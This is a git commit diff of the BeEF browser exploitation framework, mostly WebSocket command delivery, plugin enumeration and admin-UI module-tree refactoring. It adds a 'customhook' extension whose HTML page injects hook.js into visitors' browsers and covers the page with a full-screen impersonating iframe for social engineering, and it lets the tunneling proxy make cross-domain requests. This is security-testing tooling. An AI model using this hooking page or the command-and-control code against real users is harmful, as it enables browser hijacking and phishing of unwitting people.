Merge remote-tracking branch 'upstream/master'. WS: added stringifying command results in beef.net.send
This commit is contained in:
28
Rakefile
28
Rakefile
@@ -165,10 +165,32 @@ task :cde do
|
||||
sh "make";
|
||||
Dir.chdir "..";
|
||||
puts "\nCreating CDE Package...\n";
|
||||
sh "./CDE/cde ruby beef";
|
||||
sleep (1);
|
||||
sh "bundle install"
|
||||
Rake::Task['cde_beef_start'].invoke
|
||||
Rake::Task['beef_stop'].invoke
|
||||
puts "\nCleaning Up...\n";
|
||||
sh "rm -r CDE";
|
||||
sleep (2);
|
||||
sh "rm -rf CDE";
|
||||
puts "\nCDE Package Created...\n";
|
||||
end
|
||||
|
||||
################################
|
||||
# CDE/BeEF environment set up
|
||||
|
||||
@beef_process_id = nil;
|
||||
|
||||
task :cde_beef_start => 'beef' do
|
||||
printf "Starting CDE BeEF (wait 10 seconds)..."
|
||||
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
end
|
||||
puts '.'
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
|
||||
|
||||
|
||||
@@ -41,10 +41,10 @@ beef:
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: true
|
||||
enable: false
|
||||
secure: false # use WebSocketSecure
|
||||
port: 11989
|
||||
alive_timer: 5000 # poll BeEF every 5 seconds
|
||||
alive_timer: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
|
||||
@@ -597,29 +597,37 @@ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefo
|
||||
* Returns the list of plugins installed in the browser.
|
||||
*/
|
||||
getPlugins: function() {
|
||||
var results = '';
|
||||
if (this.isIE())
|
||||
{
|
||||
results = this.getPluginsIE();
|
||||
} else {
|
||||
if (navigator.plugins && navigator.plugins.length > 0)
|
||||
{
|
||||
var length = navigator.plugins.length;
|
||||
for (var i=0; i < length; i++)
|
||||
{
|
||||
if (i != 0)
|
||||
results += '\n';
|
||||
if(beef.browser.isFF()){ //FF returns exact plugin versions
|
||||
results += navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
|
||||
}else{ // Webkit and Presto (Opera) doesn't support the version attribute, and
|
||||
// sometimes they store plugin version in description (Real, Adobe)
|
||||
results += navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
results = 'navigator.plugins is not supported in this browser!';
|
||||
}
|
||||
}
|
||||
|
||||
var results;
|
||||
Array.prototype.unique = function() {
|
||||
var o = {}, i, l = this.length, r = [];
|
||||
for(i=0; i<l;i+=1) o[this[i]] = this[i];
|
||||
for(i in o) r.push(o[i]);
|
||||
return r;
|
||||
};
|
||||
|
||||
// Internet Explorer
|
||||
if (this.isIE()) this.getPluginsIE();
|
||||
|
||||
// All other browsers that support navigator.plugins
|
||||
else if (navigator.plugins && navigator.plugins.length > 0) {
|
||||
results = new Array();
|
||||
for (var i=0; i < navigator.plugins.length; i++) {
|
||||
|
||||
// Firefox returns exact plugin versions
|
||||
if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
|
||||
|
||||
// Webkit and Presto (Opera)
|
||||
// Don't support the version attribute
|
||||
// Sometimes store the version in description (Real, Adobe)
|
||||
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
|
||||
}
|
||||
results = results.unique().toString();
|
||||
|
||||
// All browsers that don't support navigator.plugins
|
||||
} else results = 'navigator.plugins is not supported in this browser!';
|
||||
|
||||
// Return results
|
||||
return results;
|
||||
},
|
||||
|
||||
|
||||
@@ -18,9 +18,15 @@
|
||||
beef.encode.json = {
|
||||
|
||||
stringify: function(o) {
|
||||
if (typeof(JSON) == 'object' && JSON.stringify)
|
||||
return JSON.stringify(o);
|
||||
|
||||
if (typeof(JSON) == 'object' && JSON.stringify) {
|
||||
// Error on stringifying cylcic structures caused polling to die
|
||||
try {
|
||||
s = JSON.stringify(o);
|
||||
} catch(error) {
|
||||
// TODO log error / handle cyclic structures?
|
||||
}
|
||||
return s;
|
||||
}
|
||||
var type = typeof(o);
|
||||
|
||||
if (o === null)
|
||||
|
||||
@@ -92,10 +92,11 @@ beef.net = {
|
||||
}
|
||||
else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid + '", "result":"' + beef.encode.base64.encode(results) + '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
}
|
||||
catch (e) {
|
||||
//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
@@ -184,14 +185,14 @@ beef.net = {
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
dataType:dataType
|
||||
});
|
||||
} else { //GET, HEAD, ...
|
||||
$j.ajaxSetup({
|
||||
dataType:'script'
|
||||
});
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
} else {
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
@@ -299,11 +300,16 @@ beef.net = {
|
||||
});
|
||||
}
|
||||
|
||||
$j.ajax({type:method,
|
||||
dataType:'script', // this is required for bugs in IE so data can be transfered back to the server
|
||||
url:url,
|
||||
headers:headers,
|
||||
timeout:(timeout * 1000),
|
||||
// this is required for bugs in IE so data can be transfered back to the server
|
||||
if ( beef.browser.isIE() ) {
|
||||
dataType = 'script'
|
||||
}
|
||||
|
||||
$j.ajax({type: method,
|
||||
dataType: dataType,
|
||||
url: url,
|
||||
headers: headers,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
// needed otherwise jQuery always adds:
|
||||
// Content-type: application/xml
|
||||
@@ -337,11 +343,31 @@ beef.net = {
|
||||
complete:function (xhr, textStatus) {
|
||||
// cross-domain request
|
||||
if (cross_domain) {
|
||||
response.status_code = -1;
|
||||
response.status_text = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
|
||||
response.port_status = "crossdomain";
|
||||
|
||||
if (xhr.status != 0) {
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
// same-domain request
|
||||
response.status_code = xhr.status;
|
||||
|
||||
@@ -24,12 +24,12 @@ module BeEF
|
||||
# @param [Object] command Command object
|
||||
# @param [Object] hooked_browser Hooked Browser object
|
||||
def add_command_instructions(command, hooked_browser)
|
||||
|
||||
(print_error "hooked_browser is nil"; return) if hooked_browser.nil?
|
||||
(print_error "hooked_browser.session is nil"; return) if hooked_browser.session.nil?
|
||||
(print_error "hooked_browser is nil"; return) if command.nil?
|
||||
(print_error "hooked_browser.command_module_id is nil"; return) if command.command_module_id.nil?
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note get the command module
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
(print_error "command_module is nil"; return) if command_module.nil?
|
||||
@@ -39,7 +39,7 @@ module BeEF
|
||||
command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new
|
||||
else
|
||||
key = BeEF::Module.get_key_by_database_id(command.command_module_id)
|
||||
command_module = BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{key}.class")).new(key)
|
||||
command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key)
|
||||
end
|
||||
|
||||
command_module.command_id = command.id
|
||||
@@ -48,11 +48,11 @@ module BeEF
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
let= BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if let.getsocket(hooked_browser.session)
|
||||
funtosend=command_module.output.gsub('//
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
|
||||
content = command_module.output.gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
@@ -67,7 +67,7 @@ module BeEF
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//', "")
|
||||
let.sent(funtosend, hooked_browser.session)
|
||||
ws.send(content, hooked_browser.session)
|
||||
else
|
||||
@body << command_module.output + "\n\n"
|
||||
end
|
||||
|
||||
@@ -27,6 +27,7 @@ module BeEF
|
||||
@@activeSocket= Hash.new
|
||||
@@lastalive= Hash.new
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
MOUNTS = BeEF::Core::Server.instance.mounts
|
||||
|
||||
def initialize
|
||||
port = @@config.get("beef.http.websocket.port")
|
||||
@@ -51,8 +52,20 @@ module BeEF
|
||||
hooked_browser.lastseen = Time.new.to_i
|
||||
hooked_browser.count!
|
||||
hooked_browser.save
|
||||
|
||||
#Check if new modules need to be sent
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }
|
||||
|
||||
#@todo antisnatchor:
|
||||
#@todo - re-use the pre_hook_send callback mechanisms to have a generic check for multipl extensions
|
||||
#Check if new forged requests need to be sent (Requester/TunnelingProxy)
|
||||
dhook = BeEF::Extension::Requester::API::Hook.new
|
||||
dhook.requester_run(hooked_browser, '')
|
||||
|
||||
#Check if new XssRays scan need to be started
|
||||
xssrays = BeEF::Extension::Xssrays::API::Scan.new
|
||||
xssrays.start_scan(hooked_browser, '')
|
||||
end
|
||||
else
|
||||
#json recv is a cmd response decode and send all to
|
||||
@@ -83,7 +96,7 @@ module BeEF
|
||||
#@note send a function to hooked and ws browser
|
||||
#@param [String] fn the module to execute
|
||||
#@param [String] session the hooked browser session
|
||||
def sent (fn, session)
|
||||
def send (fn, session)
|
||||
@@activeSocket[session].send(fn)
|
||||
end
|
||||
|
||||
@@ -99,8 +112,21 @@ module BeEF
|
||||
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
|
||||
(print_error "command name is empty"; return) if data["handler"].empty?
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
|
||||
@@config.get("beef.module.#{data["handler"].gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
handler = data["handler"]
|
||||
if handler.match(/command/)
|
||||
BeEF::Core::Models::Command.save_result(hooked_browser, data["cid"],
|
||||
@@config.get("beef.module.#{handler.gsub("/command/", "").gsub(".js", "")}.name"), command_results)
|
||||
else #processing results from extensions, call the right handler
|
||||
data["beefhook"] = hooked_browser
|
||||
data["results"] = JSON.parse(Base64.decode64(data["result"]))
|
||||
if MOUNTS.has_key?(handler)
|
||||
if MOUNTS[handler].class == Array and MOUNTS[handler].length == 2
|
||||
MOUNTS[handler][0].new(data, MOUNTS[handler][1])
|
||||
else
|
||||
MOUNTS[handler].new(data)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -33,11 +33,20 @@ module BeEF
|
||||
def self.get_categories
|
||||
categories = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each {|k,v|
|
||||
if not categories.include?(v['category'])
|
||||
categories << v['category']
|
||||
flatcategory = ""
|
||||
if v['category'].kind_of?(Array)
|
||||
# Therefore this module has nested categories (sub-folders), munge them together into a string with '/' characters, like a folder.
|
||||
v['category'].each {|cat|
|
||||
flatcategory << cat + "/"
|
||||
}
|
||||
else
|
||||
flatcategory = v['category']
|
||||
end
|
||||
if not categories.include?(flatcategory)
|
||||
categories << flatcategory
|
||||
end
|
||||
}
|
||||
return categories.sort
|
||||
return categories.sort.uniq #This is now uniqued, because otherwise the recursive function to build the json tree breaks if there are duplicates.
|
||||
end
|
||||
|
||||
# Get all modules currently stored in the database
|
||||
|
||||
@@ -427,8 +427,28 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
return BeEF::Module.support(mod, {'browser' => BD.get(hook_session_id, 'BrowserName'), 'ver' => BD.get(hook_session_id, 'BrowserVersion'), 'os' => [BD.get(hook_session_id, 'OsName')]})
|
||||
end
|
||||
|
||||
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
|
||||
# If we're adding a leaf to the command tree, and it's in a subfolder, we need to recurse
|
||||
# into the tree to find where it goes
|
||||
def update_command_module_tree_recurse(tree,category,leaf)
|
||||
working_category = category.shift
|
||||
|
||||
tree.each {|t|
|
||||
if t['text'].eql? working_category and category.count > 0
|
||||
#We have deeper to go
|
||||
update_command_module_tree_recurse(t['children'],category,leaf)
|
||||
elsif t['text'].eql? working_category
|
||||
#Bingo
|
||||
t['children'].push(leaf)
|
||||
break
|
||||
end
|
||||
}
|
||||
|
||||
#return tree
|
||||
|
||||
end
|
||||
|
||||
#Add the command to the tree
|
||||
def update_command_module_tree(tree, cmd_category, cmd_icon_path, cmd_status, cmd_name, cmd_id)
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => cmd_name,
|
||||
@@ -439,24 +459,99 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
tree.each {|x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
if cmd_category.is_a?(Array)
|
||||
#The category is an array, therefore it's a sub-folderised category
|
||||
cat_copy = cmd_category.dup #Don't work with the original array, because, then it breaks shit
|
||||
update_command_module_tree_recurse(tree,cat_copy,leaf_node)
|
||||
else
|
||||
#original logic here, simply add the command to the tree.
|
||||
tree.each {|x|
|
||||
if x['text'].eql? cmd_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#Recursive function to build the tree now with sub-folders
|
||||
def build_recursive_tree(parent,input)
|
||||
cinput = input.shift.chomp('/')
|
||||
if cinput.split('/').count == 1 #then we have a single folder now
|
||||
if parent.detect {|p| p['text'] == cinput}.nil?
|
||||
parent << {'text' => cinput, 'cls' => 'folder', 'children' => []}
|
||||
else
|
||||
if input.count > 0
|
||||
parent.each {|p|
|
||||
if p['text'] == cinput
|
||||
p['children'] = build_recursive_tree(p['children'],input)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
else
|
||||
#we have multiple folders
|
||||
newinput = cinput.split('/')
|
||||
newcinput = newinput.shift
|
||||
if parent.detect {|p| p['text'] == newcinput }.nil?
|
||||
fldr = {'text' => newcinput, 'cls' => 'folder', 'children' => []}
|
||||
parent << build_recursive_tree(fldr['children'],newinput)
|
||||
else
|
||||
parent.each {|p|
|
||||
if p['text'] == newcinput
|
||||
p['children'] = build_recursive_tree(p['children'],newinput)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
if input.count > 0
|
||||
return build_recursive_tree(parent,input)
|
||||
else
|
||||
return parent
|
||||
end
|
||||
end
|
||||
|
||||
#Recursive function to sort all the parent's children
|
||||
def sort_recursive_tree(parent)
|
||||
# sort the children nodes by status and name
|
||||
parent.each {|x|
|
||||
#print_info "Sorting: " + x['children'].to_s
|
||||
if x.is_a?(Hash) and x.has_key?('children')
|
||||
x['children'] = x['children'].sort_by {|a|
|
||||
fldr = a['cls'] ? a['cls'] : 'zzzzz'
|
||||
"#{fldr}#{a['status']}#{a['text']}"
|
||||
}
|
||||
x['children'].each {|c|
|
||||
sort_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
#Recursive function to retitle folders with the number of children
|
||||
def retitle_recursive_tree(parent)
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
parent.each {|command_module_branch|
|
||||
if command_module_branch.is_a?(Hash) and command_module_branch.has_key?('children')
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
|
||||
command_module_branch['children'].each {|c|
|
||||
retitle_recursive_tree([c]) if c.has_key?('cls') and c['cls'] == 'folder'
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules for a TreePanel in the interface.
|
||||
def select_command_modules_tree
|
||||
blanktree = []
|
||||
tree = []
|
||||
BeEF::Modules.get_categories.each { |c|
|
||||
tree.push({
|
||||
'text' => c,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
}
|
||||
|
||||
#Due to the sub-folder nesting, we use some really badly hacked together recursion
|
||||
#Note to the bored - if someone (anyone please) wants to refactor, I'll buy you cookies. -x
|
||||
tree = build_recursive_tree(blanktree,BeEF::Modules.get_categories)
|
||||
|
||||
BeEF::Modules.get_enabled.each{|k, mod|
|
||||
# get the hooked browser session id and set it in the command module
|
||||
@@ -508,16 +603,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
# sort the parent array nodes
|
||||
tree.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# sort the children nodes by status and name
|
||||
tree.each {|x| x['children'] =
|
||||
x['children'].sort_by {|a| [a['status'],a['text']]}
|
||||
}
|
||||
sort_recursive_tree(tree)
|
||||
|
||||
retitle_recursive_tree(tree)
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
tree.each {|command_module_branch|
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
}
|
||||
|
||||
|
||||
# return a JSON array of hashes
|
||||
@body = tree.to_json
|
||||
|
||||
38
extensions/customhook/api.rb
Normal file
38
extensions/customhook/api.rb
Normal file
@@ -0,0 +1,38 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
module RegisterHttpHandlers
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Customhook::RegisterHttpHandlers, BeEF::API::Server, 'pre_http_start')
|
||||
|
||||
def self.mount_handler(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
beef_server.mount(configuration.get("beef.extension.customhook.customhook_path"), BeEF::Extension::Customhook::Handler.new)
|
||||
end
|
||||
|
||||
def self.pre_http_start(beef_server)
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
print_success "Successfully mounted a custom hook point"
|
||||
print_more "Mount Point: #{configuration.get('beef.extension.customhook.customhook_path')}\nLoading iFrame: #{configuration.get('beef.extension.customhook.customhook_target')}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
24
extensions/customhook/config.yaml
Normal file
24
extensions/customhook/config.yaml
Normal file
@@ -0,0 +1,24 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
extension:
|
||||
customhook:
|
||||
enable: false
|
||||
name: 'Custom Hook Point with iFrame Impersonation'
|
||||
customhook_path: "/yougotchipmunked"
|
||||
customhook_target: "http://www.chipmunks.com"
|
||||
customhook_title: "Alvin and the Chipmunks.."
|
||||
|
||||
33
extensions/customhook/extension.rb
Normal file
33
extensions/customhook/extension.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
extend BeEF::API::Extension
|
||||
|
||||
@short_name = 'customhook'
|
||||
|
||||
@full_name = 'Custom Hook Point with iFrame Impersonation'
|
||||
|
||||
@description = 'An auto-hook and full-screen iframe - demonstrating extension creation and social engineering attacks'
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
require 'extensions/customhook/api'
|
||||
require 'extensions/customhook/handler'
|
||||
61
extensions/customhook/handler.rb
Normal file
61
extensions/customhook/handler.rb
Normal file
@@ -0,0 +1,61 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module Customhook
|
||||
|
||||
class Handler
|
||||
|
||||
def call(env)
|
||||
@body = ''
|
||||
@request = Rack::Request.new(env)
|
||||
@params = @request.query_string
|
||||
@response = Rack::Response.new(body=[], 200, header={})
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
eruby = Erubis::FastEruby.new(File.read(File.dirname(__FILE__)+'/html/index.html'))
|
||||
|
||||
@body << eruby.evaluate({'customhook_target' => config.get("beef.extension.customhook.customhook_target"),
|
||||
'customhook_title' => config.get("beef.extension.customhook.customhook_title")})
|
||||
|
||||
@response = Rack::Response.new(
|
||||
body = [@body],
|
||||
status = 200,
|
||||
header = {
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0',
|
||||
'Content-Type' => 'text/html',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
}
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# @note Object representing the HTTP request
|
||||
@request
|
||||
|
||||
# @note Object representing the HTTP response
|
||||
@response
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
18
extensions/customhook/html/index.html
Normal file
18
extensions/customhook/html/index.html
Normal file
@@ -0,0 +1,18 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= @customhook_title %></title>
|
||||
<script>
|
||||
var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
|
||||
document.write(commandModuleStr);
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<script>
|
||||
setTimeout("beef.dom.createIframe('fullscreen','get',{'src':'<%= @customhook_target %>'},{},null)",2000);
|
||||
document.body.scroll = "no";
|
||||
document.documentElement.style.overflow = 'hidden';
|
||||
//Porco dio - and away we go!
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -82,10 +82,10 @@ module BeEF
|
||||
:path => uri.path,
|
||||
:request_date => Time.now,
|
||||
:hooked_browser_id => self.get_tunneling_proxy,
|
||||
:allow_cross_domain => "false"
|
||||
:allow_cross_domain => "true"
|
||||
)
|
||||
http.save
|
||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}]")
|
||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
|
||||
|
||||
# Wait for the HTTP response to be stored in the db.
|
||||
# TODO: re-implement this with EventMachine or with the Observer pattern.
|
||||
|
||||
@@ -34,18 +34,45 @@ module BeEF
|
||||
}
|
||||
|
||||
return if output.empty?
|
||||
config = BeEF::Core::Configuration.instance
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
# Build the BeEFJS requester component
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
# todo antisnatchor: prevent sending "content" multiple times. Better leaving it after the first run, and don't send it again.
|
||||
#todo antisnatchor: remove this gsub crap adding some hook packing.
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
|
||||
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//', "")
|
||||
add_to_body output
|
||||
ws.send(content + @body,hb.session)
|
||||
#if we use WebSockets, just reply wih the component contents
|
||||
else # if we use XHR-polling, add the component to the main hook file
|
||||
build_missing_beefjs_components 'beef.net.requester'
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
add_to_body output
|
||||
end
|
||||
end
|
||||
|
||||
# Send the command to perform the requests to the hooked browser
|
||||
def add_to_body(output)
|
||||
@body << %Q{
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
beef.execute(function() {
|
||||
beef.net.requester.send(
|
||||
#{output.to_json}
|
||||
);
|
||||
});
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -27,7 +27,7 @@ module BeEF
|
||||
#
|
||||
def start_scan(hb, body)
|
||||
@body = body
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:id => hb.id)
|
||||
#TODO: we should get the xssrays_scan table with more accuracy, if for some reasons we requested
|
||||
#TODO: 2 scans on the same hooked browsers, "first" could not get the right result we want
|
||||
@@ -40,23 +40,52 @@ module BeEF
|
||||
xs.update(:is_started => true)
|
||||
|
||||
# build the beefjs xssrays component
|
||||
build_missing_beefjs_components 'beef.net.xssrays'
|
||||
|
||||
# the URI of the XssRays handler where rays should come back if the vulnerability is verified
|
||||
beefurl = BeEF::Core::Server.instance.url
|
||||
cross_domain = xs.cross_domain
|
||||
timeout = xs.clean_timeout
|
||||
debug = BeEF::Core::Configuration.instance.get("beef.extension.xssrays.js_console_logs")
|
||||
debug = config.get("beef.extension.xssrays.js_console_logs")
|
||||
|
||||
@body << %Q{
|
||||
